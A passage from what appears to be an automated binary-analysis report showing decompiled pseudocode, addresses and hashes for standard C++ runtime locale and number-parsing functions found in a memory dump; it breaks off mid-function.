			E6DD2C229(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi) {
				void* _t15;
				intOrPtr _t17;
				void* _t20;
				intOrPtr* _t32;
				void* _t35;

				E6DD300AC(0x6dd78a31, __ebx, __edi, __esi, 0x3c);
				_t32 =  *((intOrPtr*)(_t35 + 8));
				_t34 = 0;
				_t23 = 0;
				 *((intOrPtr*)(_t35 - 0x10)) = 0;
				if(_t32 != 0) {
					_t37 =  *_t32;
					if( *_t32 == 0) {
						_push(0x44);
						_t17 = E6DD2F8B6(__edx, 0, _t37);
						 *((intOrPtr*)(_t35 - 0x14)) = _t17;
						 *((intOrPtr*)(_t35 - 4)) = 0;
						if(_t17 != 0) {
							_push(E6DCF1703( *((intOrPtr*)(_t35 + 0xc))));
							_t20 = E6DCF1450(0, _t35 - 0x48, __edx, _t32, 0);
							_t23 = 1;
							_push(0);
							_push(_t20);
							 *((char*)(_t35 - 4)) = 1;
							 *((intOrPtr*)(_t35 - 0x10)) = 1;
							_t34 = E6DD2BD9F( *((intOrPtr*)(_t35 - 0x14)), 0);
						}
						 *_t32 = _t34;
						if((_t23 & 0x00000001) != 0) {
							E6DCF14CE(_t35 - 0x48);
						}
					}
				}
				_t15 = 5;
				return E6DD30075(_t15);
			}

0x6dd2c230
0x6dd2c235
0x6dd2c238
0x6dd2c23a
0x6dd2c23c
0x6dd2c241
0x6dd2c243
0x6dd2c245
0x6dd2c247
0x6dd2c249
0x6dd2c24f
0x6dd2c252
0x6dd2c257
0x6dd2c261
0x6dd2c265
0x6dd2c26d
0x6dd2c26e
0x6dd2c26f
0x6dd2c270
0x6dd2c273
0x6dd2c27b
0x6dd2c27b
0x6dd2c27d
0x6dd2c282
0x6dd2c287
0x6dd2c287
0x6dd2c282
0x6dd2c245
0x6dd2c28e
0x6dd2c294

APIs

__EH_prolog3.LIBCMT ref: 6DD2C230
std::_Locinfo::_Locinfo.LIBCPMT ref: 6DD2C265

Part of subcall function 6DCF1450: __EH_prolog3.LIBCMT ref: 6DCF1457
Part of subcall function 6DCF1450: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF1464
Part of subcall function 6DCF1450: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 6DCF14A1

numpunct.LIBCPMT ref: 6DD2C276

Part of subcall function 6DD2BD9F: __EH_prolog3.LIBCMT ref: 6DD2BDA6

std::_Locinfo::~_Locinfo.LIBCPMT ref: 6DD2C287

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$H_prolog3$LocinfoLocinfo::_$Locinfo::~_Locinfo_ctorLockitLockit::_numpunct
String ID:
API String ID: 495030518-0
Opcode ID: 073bd27e79ffeac5f6aee007d0c5d78dc1eee59f335deae78e31b416911ba0d9
Instruction ID: 3a3623b3dedebfad7692bb72d3587d2fe4090277ebab68013def1bf558cd8359
Opcode Fuzzy Hash: 073bd27e79ffeac5f6aee007d0c5d78dc1eee59f335deae78e31b416911ba0d9
Instruction Fuzzy Hash: BC01817194521ADADB50EFE8C840BEEBB74AF44798F160116F754AB285DF708E01CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6DCF18A0, Relevance: 6.0, APIs: 4, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E6DCF18A0(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi) {
				void* _t12;
				void* _t16;
				intOrPtr* _t28;
				intOrPtr* _t30;
				void* _t31;

				E6DD300AC(0x6dd77d45, __ebx, __edi, __esi, 0x34);
				_t28 =  *((intOrPtr*)(_t31 + 8));
				if(_t28 != 0) {
					_t33 =  *_t28;
					if( *_t28 == 0) {
						_t30 = E6DD2F8B6(__edx, __esi, _t33);
						 *((intOrPtr*)(_t31 + 8)) = _t30;
						 *(_t31 - 4) =  *(_t31 - 4) & 0x00000000;
						_t16 = E6DCF1450(__ebx, _t31 - 0x40, __edx, _t28, _t30, E6DCF1703( *((intOrPtr*)(_t31 + 0xc))), 0x44);
						 *(_t30 + 4) =  *(_t30 + 4) & 0x00000000;
						 *_t30 = 0x6dd7a9c0;
						E6DCF1928(_t30, _t16);
						 *_t28 = _t30;
						E6DCF14CE(_t31 - 0x40);
					}
				}
				_t12 = 2;
				return E6DD30075(_t12);
			}

0x6dcf18a7
0x6dcf18ac
0x6dcf18b1
0x6dcf18b3
0x6dcf18b6
0x6dcf18bf
0x6dcf18c2
0x6dcf18c8
0x6dcf18d5
0x6dcf18da
0x6dcf18e1
0x6dcf18e7
0x6dcf18ef
0x6dcf18f1
0x6dcf18f1
0x6dcf18b6
0x6dcf18f8
0x6dcf18fe

APIs

__EH_prolog3.LIBCMT ref: 6DCF18A7
std::_Locinfo::_Locinfo.LIBCPMT ref: 6DCF18D5

Part of subcall function 6DCF1450: __EH_prolog3.LIBCMT ref: 6DCF1457
Part of subcall function 6DCF1450: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF1464
Part of subcall function 6DCF1450: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 6DCF14A1

ctype.LIBCPMT ref: 6DCF18E7

Part of subcall function 6DCF1928: __Getctype.LIBCPMT ref: 6DCF1937
Part of subcall function 6DCF1928: __Getcvt.LIBCPMT ref: 6DCF1949

std::_Locinfo::~_Locinfo.LIBCPMT ref: 6DCF18F1

Part of subcall function 6DCF14CE: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 6DCF14F5
Part of subcall function 6DCF14CE: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1566

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Locinfo::_$H_prolog3LocinfoLockit$GetctypeGetcvtLocinfo::~_Locinfo_ctorLocinfo_dtorLockit::_Lockit::~_ctype
String ID:
API String ID: 1262428101-0
Opcode ID: ada96372c15b827d138964d50dcfa1e877ed94e38787b27c5aa89c3b77865357
Instruction ID: 3b41dde1b27f24c0d4899be14af91ff039716864979ed27b2334e1d5d0eee254
Opcode Fuzzy Hash: ada96372c15b827d138964d50dcfa1e877ed94e38787b27c5aa89c3b77865357
Instruction Fuzzy Hash: 81F054B150431DDFD750AF68C441BEDB764AF40765F134509F7095B280EB745602CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1B968, Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 323
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E6DD1B968(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t135;
				intOrPtr* _t136;
				intOrPtr* _t141;
				void* _t146;
				char _t152;
				signed int _t153;
				char* _t154;
				signed int _t160;
				void* _t166;
				void* _t167;
				char* _t173;
				void* _t174;
				void* _t175;
				void* _t185;
				intOrPtr _t186;
				intOrPtr _t192;
				intOrPtr _t198;
				char* _t199;
				intOrPtr _t213;
				char _t224;
				intOrPtr* _t235;
				signed int _t236;
				signed int _t237;
				intOrPtr _t238;
				signed int _t242;
				signed int _t243;
				char* _t247;
				signed int _t249;
				signed int _t251;
				void* _t252;
				void* _t253;

				_t234 = __edx;
				E6DD300E0(0x6dd786b8, __ebx, __edi, __esi, 0x70);
				_t198 =  *((intOrPtr*)(_t252 + 0x10));
				 *((intOrPtr*)(_t252 - 0x78)) =  *((intOrPtr*)(_t252 + 0xc));
				 *((intOrPtr*)(_t252 - 0x70)) =  *((intOrPtr*)(_t252 + 0x14));
				_t135 =  *(_t252 + 0x1c);
				 *(_t252 - 0x68) = _t135;
				_t136 = E6DD1A2F1(_t198, __edx, __edi, __esi, __eflags);
				_t240 = _t136;
				_t245 =  *((intOrPtr*)( *_t136 + 0x14));
				 *0x6dd7a26c(_t252 - 0x5c, _t135);
				 *((intOrPtr*)( *((intOrPtr*)( *_t136 + 0x14))))();
				 *(_t252 - 4) =  *(_t252 - 4) & 0x00000000;
				_t255 =  *((intOrPtr*)(_t252 - 0x4c));
				if( *((intOrPtr*)(_t252 - 0x4c)) != 0) {
					 *((char*)(_t252 - 0x5e)) = E6DD1DA49(_t240);
				} else {
					 *((char*)(_t252 - 0x5e)) = 0;
				}
				_t141 = E6DD1A0FF(_t198, _t234, _t240, _t245, _t255);
				 *0x6dd7a26c("0123456789ABCDEFabcdef-+Xx", 0x6dd7ba77, _t252 - 0x2c,  *(_t252 - 0x68));
				 *((intOrPtr*)( *((intOrPtr*)( *_t141 + 0x1c))))();
				_t247 =  *((intOrPtr*)(_t252 - 0x78));
				 *((intOrPtr*)(_t252 - 0x6c)) = _t247;
				_t146 = E6DD1D7A6(_t198,  *((intOrPtr*)(_t252 - 0x70)));
				if(_t146 != 0) {
					L13:
					_t249 =  *(_t252 + 0x18) & 0x00000e00;
					_t242 = 0xa;
					 *(_t252 - 0x68) = _t242;
					if(_t249 != 0x400) {
						__eflags = _t249 - 0x800;
						if(_t249 != 0x800) {
							asm("sbb esi, esi");
							_t251 =  ~_t249 & _t242;
							__eflags = _t251;
							L19:
							 *((char*)(_t252 - 0x5d)) = 0;
							 *((char*)(_t252 - 0x74)) = 0;
							 *((char*)(_t252 - 0x5f)) = 0;
							E6DD1D7A6(_t198,  *((intOrPtr*)(_t252 - 0x70)));
							if(0 != 0) {
								L35:
								__eflags = _t251;
								if(_t251 == 0) {
									L38:
									 *(_t252 - 0x34) =  *(_t252 - 0x34) & 0x00000000;
									 *((intOrPtr*)(_t252 - 0x30)) = 0xf;
									 *(_t252 - 0x44) = 0;
									E6DD16BD5(_t252 - 0x44, 1,  *((intOrPtr*)(_t252 - 0x74)));
									 *(_t252 - 4) = 1;
									_t243 = 0;
									 *((intOrPtr*)(_t252 - 0x7c)) =  *((intOrPtr*)(_t252 - 0x78)) + 0x1f;
									_t152 = E6DD1D7A6(_t198,  *((intOrPtr*)(_t252 - 0x70)));
									if(_t152 != 0) {
										_t213 =  *((intOrPtr*)(_t252 - 0x30));
										_t153 =  *(_t252 - 0x44);
										L71:
										_t199 =  *((intOrPtr*)(_t252 - 0x5d));
										L72:
										_t235 = _t252 - 0x5c;
										if( *((intOrPtr*)(_t252 - 0x48)) >= 0x10) {
											_t235 =  *((intOrPtr*)(_t252 - 0x5c));
										}
										if(_t199 == 0) {
											L89:
											_t154 =  *((intOrPtr*)(_t252 - 0x78));
											goto L90;
										} else {
											while(_t243 != 0) {
												_t199 =  *_t235;
												if(_t199 == 0x7f) {
													break;
												}
												_t243 = _t243 - 1;
												if(_t243 == 0) {
													L81:
													if(_t243 != 0) {
														L85:
														_t199 = _t235 + 1;
														if( *_t199 > 0) {
															_t235 = _t199;
														}
														continue;
													}
													 *(_t252 - 0x68) = _t252 - 0x44;
													if( *((intOrPtr*)(_t252 - 0x30)) >= 0x10) {
														 *(_t252 - 0x68) = _t153;
													}
													_t213 =  *((intOrPtr*)(_t252 - 0x30));
													if(_t199 <  *( *(_t252 - 0x68))) {
														goto L89;
													} else {
														goto L85;
													}
												}
												 *(_t252 - 0x68) = _t252 - 0x44;
												_t160 =  *(_t252 - 0x44);
												if(_t213 >= 0x10) {
													_t213 =  *((intOrPtr*)(_t252 - 0x30));
													 *(_t252 - 0x68) = _t160;
												}
												_t153 =  *(_t252 - 0x44);
												if(_t199 !=  *((intOrPtr*)( *(_t252 - 0x68) + _t243))) {
													goto L89;
												} else {
													goto L81;
												}
											}
											__eflags =  *((char*)(_t252 - 0x5f));
											_t154 =  *((intOrPtr*)(_t252 - 0x6c));
											if( *((char*)(_t252 - 0x5f)) == 0) {
												 *_t154 = 0x30;
												_t154 = _t154 + 1;
											}
											L90:
											 *_t154 = 0;
											E6DD12B76(_t252 - 0x44);
											E6DD12B76(_t252 - 0x5c);
											return E6DD3008A(_t251, _t199, _t243, _t251);
										}
									}
									 *((char*)(_t252 - 0x74)) = _t152;
									do {
										if( *((char*)(_t198 + 4)) == 0) {
											E6DD1C59E(_t198);
										}
										_push( *((intOrPtr*)(_t252 - 0x74)));
										 *((char*)(_t252 - 0x64)) =  *((intOrPtr*)(_t198 + 5));
										_t166 = E6DD19DF2(_t252 - 0x2c, _t252 - 0x12, _t252 - 0x64);
										_t253 = _t253 + 0x10;
										_t167 = _t166 - _t252 - 0x2c;
										if(_t167 >=  *(_t252 - 0x68)) {
											_t213 =  *((intOrPtr*)(_t252 - 0x30));
											_t236 = _t252 - 0x44;
											_t153 =  *(_t252 - 0x44);
											__eflags = _t213 - 0x10;
											if(_t213 >= 0x10) {
												_t236 = _t153;
											}
											__eflags =  *((char*)(_t236 + _t243));
											if( *((char*)(_t236 + _t243)) == 0) {
												L64:
												if(_t243 == 0) {
													goto L71;
												}
												_t237 = _t252 - 0x44;
												if(_t213 >= 0x10) {
													_t237 = _t153;
												}
												if( *((char*)(_t237 + _t243)) <= 0) {
													_t199 = 0;
													goto L72;
												} else {
													_t243 = _t243 + 1;
													goto L71;
												}
											} else {
												__eflags =  *((char*)(_t252 - 0x5e));
												if( *((char*)(_t252 - 0x5e)) == 0) {
													goto L64;
												}
												__eflags =  *((char*)(_t198 + 4));
												if( *((char*)(_t198 + 4)) != 0) {
													_t238 =  *((intOrPtr*)(_t252 - 0x64));
												} else {
													E6DD1C59E(_t198);
													_t238 =  *((intOrPtr*)(_t198 + 5));
													_t213 =  *((intOrPtr*)(_t252 - 0x30));
													_t153 =  *(_t252 - 0x44);
												}
												__eflags = _t238 -  *((intOrPtr*)(_t252 - 0x5e));
												if(_t238 !=  *((intOrPtr*)(_t252 - 0x5e))) {
													goto L64;
												} else {
													E6DD186F2(_t252 - 0x44, 0);
													_t243 = _t243 + 1;
													__eflags = _t243;
													goto L62;
												}
											}
										} else {
											_t224 =  *((intOrPtr*)(_t167 + "0123456789ABCDEFabcdef-+Xx"));
											_t173 =  *((intOrPtr*)(_t252 - 0x6c));
											 *_t173 = _t224;
											if( *((char*)(_t252 - 0x5f)) != 0 || _t224 != 0x30) {
												if(_t173 <  *((intOrPtr*)(_t252 - 0x7c))) {
													 *((char*)(_t252 - 0x5f)) = 1;
													 *((intOrPtr*)(_t252 - 0x6c)) = _t173 + 1;
												}
											}
											_t174 = _t252 - 0x44;
											 *((char*)(_t252 - 0x5d)) = 1;
											if( *((intOrPtr*)(_t252 - 0x30)) >= 0x10) {
												_t174 =  *(_t252 - 0x44);
											}
											if( *((char*)(_t174 + _t243)) != 0x7f) {
												_t175 = _t252 - 0x44;
												if( *((intOrPtr*)(_t252 - 0x30)) >= 0x10) {
													_t175 =  *(_t252 - 0x44);
												}
												 *((char*)(_t175 + _t243)) =  *((char*)(_t175 + _t243)) + 1;
											}
										}
										L62:
										E6DD1BD8B(_t198);
									} while (E6DD1D7A6(_t198,  *((intOrPtr*)(_t252 - 0x70))) == 0);
									_t213 =  *((intOrPtr*)(_t252 - 0x30));
									_t153 =  *(_t252 - 0x44);
									goto L64;
								}
								L36:
								__eflags = _t251 - _t242;
								if(_t251 == _t242) {
									goto L38;
								}
								L37:
								 *(_t252 - 0x68) = ((0 | _t251 != 0x00000008) - 0x00000001 & 0xfffffff2) + 0x16;
								goto L38;
							}
							if( *((intOrPtr*)(_t198 + 4)) == 0) {
								E6DD1C59E(_t198);
							}
							if( *((intOrPtr*)(_t198 + 5)) !=  *((intOrPtr*)(_t252 - 0x2c))) {
								goto L35;
							} else {
								 *((char*)(_t252 - 0x5d)) = 1;
								 *((char*)(_t252 - 0x74)) = 1;
								E6DD1BD8B(_t198);
								_t185 = E6DD1D7A6(_t198,  *((intOrPtr*)(_t252 - 0x70)));
								if(1 != 0) {
									L33:
									__eflags = _t251;
									if(_t251 != 0) {
										goto L36;
									}
									_t251 = 8;
									goto L35;
								}
								if( *((intOrPtr*)(_t198 + 4)) == _t185) {
									E6DD1C59E(_t198);
								}
								_t186 =  *((intOrPtr*)(_t198 + 5));
								if(_t186 ==  *((intOrPtr*)(_t252 - 0x13))) {
									L30:
									if(_t251 == 0 || _t251 == 0x10) {
										_t251 = 0x10;
										 *((char*)(_t252 - 0x5d)) = 0;
										 *((char*)(_t252 - 0x74)) = 0;
										E6DD1BD8B(_t198);
										goto L37;
									} else {
										goto L33;
									}
								} else {
									if( *((char*)(_t198 + 4)) == 0) {
										E6DD1C59E(_t198);
										_t186 =  *((intOrPtr*)(_t198 + 5));
									}
									if(_t186 !=  *((intOrPtr*)(_t252 - 0x14))) {
										goto L33;
									} else {
										goto L30;
									}
								}
							}
						}
						_push(0x10);
						L17:
						_pop(_t251);
						goto L19;
					}
					_push(8);
					goto L17;
				} else {
					if( *((intOrPtr*)(_t198 + 4)) == _t146) {
						E6DD1C59E(_t198);
					}
					_t192 =  *((intOrPtr*)(_t198 + 5));
					if(_t192 !=  *((intOrPtr*)(_t252 - 0x15))) {
						__eflags =  *((char*)(_t198 + 4));
						if( *((char*)(_t198 + 4)) == 0) {
							E6DD1C59E(_t198);
							_t192 =  *((intOrPtr*)(_t198 + 5));
						}
						__eflags = _t192 -  *((intOrPtr*)(_t252 - 0x16));
						if(_t192 !=  *((intOrPtr*)(_t252 - 0x16))) {
							goto L13;
						} else {
							 *_t247 = 0x2d;
							goto L12;
						}
					} else {
						 *_t247 = 0x2b;
						L12:
						 *((intOrPtr*)(_t252 - 0x6c)) = _t247 + 1;
						E6DD1BD8B(_t198);
						goto L13;
					}
				}
			}

0x6dd1b968
0x6dd1b96f
0x6dd1b977
0x6dd1b97a
0x6dd1b980
0x6dd1b983
0x6dd1b987
0x6dd1b98a
0x6dd1b98f
0x6dd1b998
0x6dd1b99d
0x6dd1b9a5
0x6dd1b9a7
0x6dd1b9ab
0x6dd1b9af
0x6dd1b9be
0x6dd1b9b1
0x6dd1b9b1
0x6dd1b9b1
0x6dd1b9c4
0x6dd1b9e1
0x6dd1b9e9
0x6dd1b9eb
0x6dd1b9f5
0x6dd1b9f8
0x6dd1b9ff
0x6dd1ba3f
0x6dd1ba44
0x6dd1ba4a
0x6dd1ba4b
0x6dd1ba54
0x6dd1ba5a
0x6dd1ba60
0x6dd1ba69
0x6dd1ba6b
0x6dd1ba6b
0x6dd1ba6d
0x6dd1ba74
0x6dd1ba77
0x6dd1ba7a
0x6dd1ba7d
0x6dd1ba84
0x6dd1bb04
0x6dd1bb04
0x6dd1bb06
0x6dd1bb1e
0x6dd1bb21
0x6dd1bb2a
0x6dd1bb31
0x6dd1bb35
0x6dd1bb45
0x6dd1bb49
0x6dd1bb4b
0x6dd1bb4e
0x6dd1bb55
0x6dd1bc5d
0x6dd1bc60
0x6dd1bc63
0x6dd1bc63
0x6dd1bc66
0x6dd1bc6a
0x6dd1bc6d
0x6dd1bc6f
0x6dd1bc6f
0x6dd1bc74
0x6dd1bcdd
0x6dd1bcdd
0x00000000
0x6dd1bc76
0x6dd1bc76
0x6dd1bc7a
0x6dd1bc7f
0x00000000
0x00000000
0x6dd1bc81
0x6dd1bc84
0x6dd1bca5
0x6dd1bca7
0x6dd1bcc2
0x6dd1bcc2
0x6dd1bcc8
0x6dd1bcca
0x6dd1bcca
0x00000000
0x6dd1bcc8
0x6dd1bcb0
0x6dd1bcb3
0x6dd1bcb5
0x6dd1bcb5
0x6dd1bcbd
0x6dd1bcc0
0x00000000
0x00000000
0x00000000
0x00000000
0x6dd1bcc0
0x6dd1bc89
0x6dd1bc8c
0x6dd1bc92
0x6dd1bc94
0x6dd1bc97
0x6dd1bc97
0x6dd1bca0
0x6dd1bca3
0x00000000
0x00000000
0x00000000
0x00000000
0x6dd1bca3
0x6dd1bcce
0x6dd1bcd2
0x6dd1bcd5
0x6dd1bcd7
0x6dd1bcda
0x6dd1bcda
0x6dd1bce0
0x6dd1bce3
0x6dd1bce6
0x6dd1bcee
0x6dd1bcfa
0x6dd1bcfa
0x6dd1bc74
0x6dd1bb5b
0x6dd1bb5e
0x6dd1bb62
0x6dd1bb66
0x6dd1bb66
0x6dd1bb6e
0x6dd1bb71
0x6dd1bb80
0x6dd1bb88
0x6dd1bb8b
0x6dd1bb90
0x6dd1bbdc
0x6dd1bbdf
0x6dd1bbe2
0x6dd1bbe5
0x6dd1bbe8
0x6dd1bbea
0x6dd1bbea
0x6dd1bbec
0x6dd1bbf0
0x6dd1bc42
0x6dd1bc44
0x00000000
0x00000000
0x6dd1bc46
0x6dd1bc4c
0x6dd1bc4e
0x6dd1bc4e
0x6dd1bc54
0x6dd1bc59
0x00000000
0x6dd1bc56
0x6dd1bc56
0x00000000
0x6dd1bc56
0x6dd1bbf2
0x6dd1bbf2
0x6dd1bbf6
0x00000000
0x00000000
0x6dd1bbf8
0x6dd1bbfc
0x6dd1bc10
0x6dd1bbfe
0x6dd1bc00
0x6dd1bc05
0x6dd1bc08
0x6dd1bc0b
0x6dd1bc0b
0x6dd1bc13
0x6dd1bc16
0x00000000
0x6dd1bc18
0x6dd1bc1d
0x6dd1bc22
0x6dd1bc22
0x00000000
0x6dd1bc22
0x6dd1bc16
0x6dd1bb92
0x6dd1bb96
0x6dd1bb9c
0x6dd1bb9f
0x6dd1bba1
0x6dd1bbab
0x6dd1bbae
0x6dd1bbb2
0x6dd1bbb2
0x6dd1bbab
0x6dd1bbb9
0x6dd1bbbc
0x6dd1bbc0
0x6dd1bbc2
0x6dd1bbc2
0x6dd1bbc9
0x6dd1bbcf
0x6dd1bbd2
0x6dd1bbd4
0x6dd1bbd4
0x6dd1bbd7
0x6dd1bbd7
0x6dd1bbc9
0x6dd1bc23
0x6dd1bc25
0x6dd1bc34
0x6dd1bc3c
0x6dd1bc3f
0x00000000
0x6dd1bc3f
0x6dd1bb08
0x6dd1bb08
0x6dd1bb0a
0x00000000
0x00000000
0x6dd1bb0c
0x6dd1bb1b
0x00000000
0x6dd1bb1b
0x6dd1ba89
0x6dd1ba8d
0x6dd1ba8d
0x6dd1ba98
0x00000000
0x6dd1ba9a
0x6dd1ba9e
0x6dd1baa1
0x6dd1baa4
0x6dd1baae
0x6dd1bab5
0x6dd1bafd
0x6dd1bafd
0x6dd1baff
0x00000000
0x00000000
0x6dd1bb03
0x00000000
0x6dd1bb03
0x6dd1baba
0x6dd1babe
0x6dd1babe
0x6dd1bac3
0x6dd1bac9
0x6dd1bae0
0x6dd1bae2
0x6dd1baef
0x6dd1baf0
0x6dd1baf3
0x6dd1baf6
0x00000000
0x00000000
0x00000000
0x00000000
0x6dd1bacb
0x6dd1bacf
0x6dd1bad3
0x6dd1bad8
0x6dd1bad8
0x6dd1bade
0x00000000
0x00000000
0x00000000
0x00000000
0x6dd1bade
0x6dd1bac9
0x6dd1ba98
0x6dd1ba62
0x6dd1ba64
0x6dd1ba64
0x00000000
0x6dd1ba64
0x6dd1ba56
0x00000000
0x6dd1ba01
0x6dd1ba04
0x6dd1ba08
0x6dd1ba08
0x6dd1ba0d
0x6dd1ba13
0x6dd1ba1a
0x6dd1ba1e
0x6dd1ba22
0x6dd1ba27
0x6dd1ba27
0x6dd1ba2a
0x6dd1ba2d
0x00000000
0x6dd1ba2f
0x6dd1ba2f
0x00000000
0x6dd1ba2f
0x6dd1ba15
0x6dd1ba15
0x6dd1ba32
0x6dd1ba37
0x6dd1ba3a
0x00000000
0x6dd1ba3a
0x6dd1ba13

APIs

__EH_prolog3_GS.LIBCMT ref: 6DD1B96F

Part of subcall function 6DD1A2F1: __EH_prolog3.LIBCMT ref: 6DD1A2F8
Part of subcall function 6DD1A2F1: std::_Lockit::_Lockit.LIBCPMT ref: 6DD1A302
Part of subcall function 6DD1A2F1: int.LIBCPMT ref: 6DD1A319
Part of subcall function 6DD1A2F1: std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1A373

_Find_unchecked1.LIBCPMT ref: 6DD1BB80

Strings

0123456789ABCDEFabcdef-+Xx, xrefs: 6DD1B9D7

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: Lockitstd::_$Find_unchecked1H_prolog3H_prolog3_Lockit::_Lockit::~_
String ID: 0123456789ABCDEFabcdef-+Xx
API String ID: 1853221402-2799312399
Opcode ID: 1bada5c30e519248d6f98308bd75053b9b78a5b38bd6ba2b8377e0fd895076df
Instruction ID: 575a5e9a7633c1d1c65a0023d3d7cdfe28d4b6d1f8b20349b185cb817bd25177
Opcode Fuzzy Hash: 1bada5c30e519248d6f98308bd75053b9b78a5b38bd6ba2b8377e0fd895076df
Instruction Fuzzy Hash: B5C16E30D0C289CADF11EBA8ED90BEDBBB2EF46304F164099E4956B387CB749945CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6DD560ED, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 6DD5617D

Strings

pow, xrefs: 6DD56155, 6DD56172

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: d48c77913218b90f757058b72a882ec42f636984d5c11d77d934c1d27f3746b6
Instruction ID: c5bf7ec72d20f539c9d346d08affe32efaa6d7f408040965a8f217b4cb7b3547
Opcode Fuzzy Hash: d48c77913218b90f757058b72a882ec42f636984d5c11d77d934c1d27f3746b6
Instruction Fuzzy Hash: 33513A61E6D14BF7EF027B14C90077E3BB4AB41745F208D58F0D14269AEB7588A4CAE6

Uniqueness

Uniqueness Score: -1.00%

Function 6DD14267, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 117
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E6DD14267(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t38;
				intOrPtr _t39;
				intOrPtr _t44;
				void* _t46;
				intOrPtr _t47;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t54;
				intOrPtr _t55;
				void* _t56;
				intOrPtr _t58;
				void* _t59;
				signed int _t62;
				signed int _t63;
				intOrPtr _t65;
				intOrPtr _t67;
				signed int _t76;
				intOrPtr _t81;
				signed int _t82;
				void* _t85;
				signed int _t87;
				signed int _t89;

				E6DD30117(0x6dd780ee, __ebx, __edi, __esi, 0x20);
				 *((intOrPtr*)(_t85 - 0x14)) = 0x6ddd6b60;
				_t65 = E6DD51EEC(L"For");
				_t38 =  *0x6ddd6b60; // 0x6dd7aabc
				 *((intOrPtr*)(_t85 - 0x18)) = _t65;
				_t3 = _t38 + 4; // 0x8
				_t39 =  *_t3;
				_t4 = _t39 + 0x6ddd6b84; // 0x0
				_t62 =  *_t4;
				_t5 = _t39 + 0x6ddd6b80; // 0x0
				_t81 =  *_t5;
				_t87 = _t62;
				if(_t87 < 0) {
					L7:
					asm("xorps xmm0, xmm0");
					asm("movlpd [ebp-0x24], xmm0");
					_t62 =  *(_t85 - 0x20);
					_t82 =  *(_t85 - 0x24);
				} else {
					if(_t87 > 0) {
						L6:
						_t82 = _t81 - _t65;
						asm("sbb ebx, esi");
					} else {
						if(_t81 <= 0) {
							goto L7;
						} else {
							_t89 = _t62;
							if(_t89 < 0 || _t89 <= 0 && _t81 <= _t65) {
								goto L7;
							} else {
								goto L6;
							}
						}
					}
				}
				_push( *((intOrPtr*)(_t85 - 0x14)));
				E6DD1220B(_t62, _t85 - 0x2c, _t82, 0);
				 *((intOrPtr*)(_t85 - 4)) = 0;
				if( *((char*)(_t85 - 0x28)) != 0) {
					 *((char*)(_t85 - 4)) = 1;
					_t67 =  *0x6ddd6b60; // 0x6dd7aabc
					_t13 = _t67 + 4; // 0x8
					_t14 =  *_t13 + 0x6ddd6b74; // 0x201
					__eflags = ( *_t14 & 0x000001c0) - 0x40;
					if(( *_t14 & 0x000001c0) == 0x40) {
						L16:
						_t18 = _t67 + 4; // 0x8
						_t44 =  *_t18;
						_t20 = _t44 + 0x6ddd6b98; // 0x6ddd6bb0
						_t46 =  *((intOrPtr*)( *((intOrPtr*)( *_t20)) + 0x24))(L"For",  *((intOrPtr*)(_t85 - 0x18)), 0);
						__eflags = _t46 -  *((intOrPtr*)(_t85 - 0x18));
